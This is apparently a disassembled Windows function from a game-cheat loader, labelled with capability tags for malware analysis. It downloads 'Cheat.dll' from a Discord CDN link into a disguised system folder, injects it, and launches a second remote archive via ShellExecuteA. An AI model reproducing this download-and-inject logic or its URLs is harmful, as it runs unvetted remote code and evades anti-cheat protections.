Function at 0x1400011d0
Capabilities:
Create process on windows
Download url
Execute command
Receive data

Disassembly:
sub rsp, 0x48
cmp byte [0x140063060], 0
je 0x14000183a
mov rcx, qword [0x140063a70]
lea r8, str.Foreground
movss xmm1, dword [0x140063054]
mov edx, 1
movss xmm0, dword [0x140063050]
unpcklps xmm0, xmm1
xorps xmm1, xmm1
mov eax, dword [rcx + 0x1dc0]
movsd qword [rcx + 0x1dd4], xmm0
or eax, 1
mov dword [rcx + 0x1dc0], eax
or eax, 0x42
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movaps xmmword [rsp + 0x30], xmm6
xorps xmm6, xmm6
unpcklps xmm1, xmm6
movsd qword [rcx + 0x1ddc], xmm1
movss xmm0, dword [0x140063058]
movss xmm1, dword [0x14006305c]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1dc8], 1
mov dword [rcx + 0x1e20], 0x3f800000
mov rcx, qword [rcx + 0x1d18]
mov rcx, qword [rcx + 0x38]
call fcn.140006cd0
cmp dword [0x140063a60], 0
jne 0x140001830
mov rcx, qword [0x140063a70]
lea rdx, [0x140063060]
movss xmm1, dword [0x140063054]
mov r8d, 0x12a
movss xmm0, dword [0x140063050]
unpcklps xmm0, xmm1
xorps xmm1, xmm1
mov eax, dword [rcx + 0x1dc0]
movsd qword [rcx + 0x1dd4], xmm0
or eax, 1
mov dword [rcx + 0x1dc0], eax
or eax, 0x42
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
unpcklps xmm1, xmm6
movsd qword [rcx + 0x1ddc], xmm1
movss xmm0, dword [0x140063268]
movss xmm1, dword [0x14006326c]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1dc8], 1
mov dword [rcx + 0x1e20], 0x3f800000
lea rcx, str.UNHOOK_LOADER
call fcn.14000f0c0
mov rcx, qword [0x140063a70]
lea rdx, str.Box
movss xmm6, dword [0x14005ace8]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x14005ad00]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss xmm1, dword [0x14005ad34]
movss dword [rax + 0x134], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [0x14005ad48]
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm1
mov byte [rax + 0xd1], 1
mov rcx, qword [rcx + 0x1d18]
call fcn.140006540
mov edx, eax
lea r8, [rsp + 0x50]
call fcn.14000bf20
mov rcx, qword [0x140063a70]
xor edx, edx
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [0x14004d858]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14005ad0c]
addss xmm2, dword [0x14005ad18]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
nop word [rax + rax]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400014a7
inc rcx
inc edx
add rcx, rax
cmp byte [rcx], 0
jne 0x1400014a0
mov dword [rsp + 0x20], edx
call fcn.140045500
mov rcx, qword [0x140063a70]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x14005ad2c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.14000c100
mov rcx, qword [0x140063a70]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, str.t.me_UNHOOKWF
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x14005ad30]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss xmm1, dword [0x14005ad40]
movss dword [rax + 0x134], xmm0
movss xmm0, dword [0x14005ad04]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.1400420b0
mov rcx, qword [0x140063a70]
lea rdx, [rsp + 0x50]
movss xmm6, dword [0x14005ad38]
mov dword [rsp + 0x50], 0x43160000
mov dword [rsp + 0x54], 0x41f00000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, str.UNHOOK_PVP
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14005acf0]
addss xmm2, xmm6
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.1400429d0
test al, al
je 0x140001752
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], 0
lea rcx, str.UNHOOK_FREE__PVP_
call fcn.1400429d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._INFO_:_starting_download...
call fcn.140001bf0
lea rdx, [0x140001dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:Program_Files__x86_Windows_Portable_DevicesCheat.dll
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1182033361783492608_1182033560505417808_Cheat.dll_ex65833989is6570c489hm84a9fbfba93bd2e61f09abea4ed1d5518f3d18a467d11295ecbc59f2283571d1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.https:__cdn.discordapp.com_attachments_1182033361783492608_1182033560505417808_Cheat.dll_ex65833989is6570c489hm84a9fbfba93bd2e61f09abea4ed1d5518f3d18a467d11295ecbc59f2283571d1
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._INFO_:_software_downloaded_
call fcn.140001bf0
lea rdx, [0x140001dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._INFO_:_injecting...
call fcn.140001bf0
lea rdx, [0x140001dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001000
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x140063a70]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x43160000
mov dword [rsp + 0x54], 0x41f00000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, str.ANTI_BAN
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14005ad3c]
addss xmm2, xmm6
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.1400429d0
test al, al
je 0x140001830
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], 0
lea rcx, str.ANTI_BAN
call fcn.1400429d0
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.https:__cdn.discordapp.com_attachments_1182033361783492608_1182045829897392218_UNHOOK.rar_ex658344f7is6570cff7hm47aed92a0debdb721f119fa241829d99929074721d959dd02686e2e0e7277f8d
mov qword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.1400122e0
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret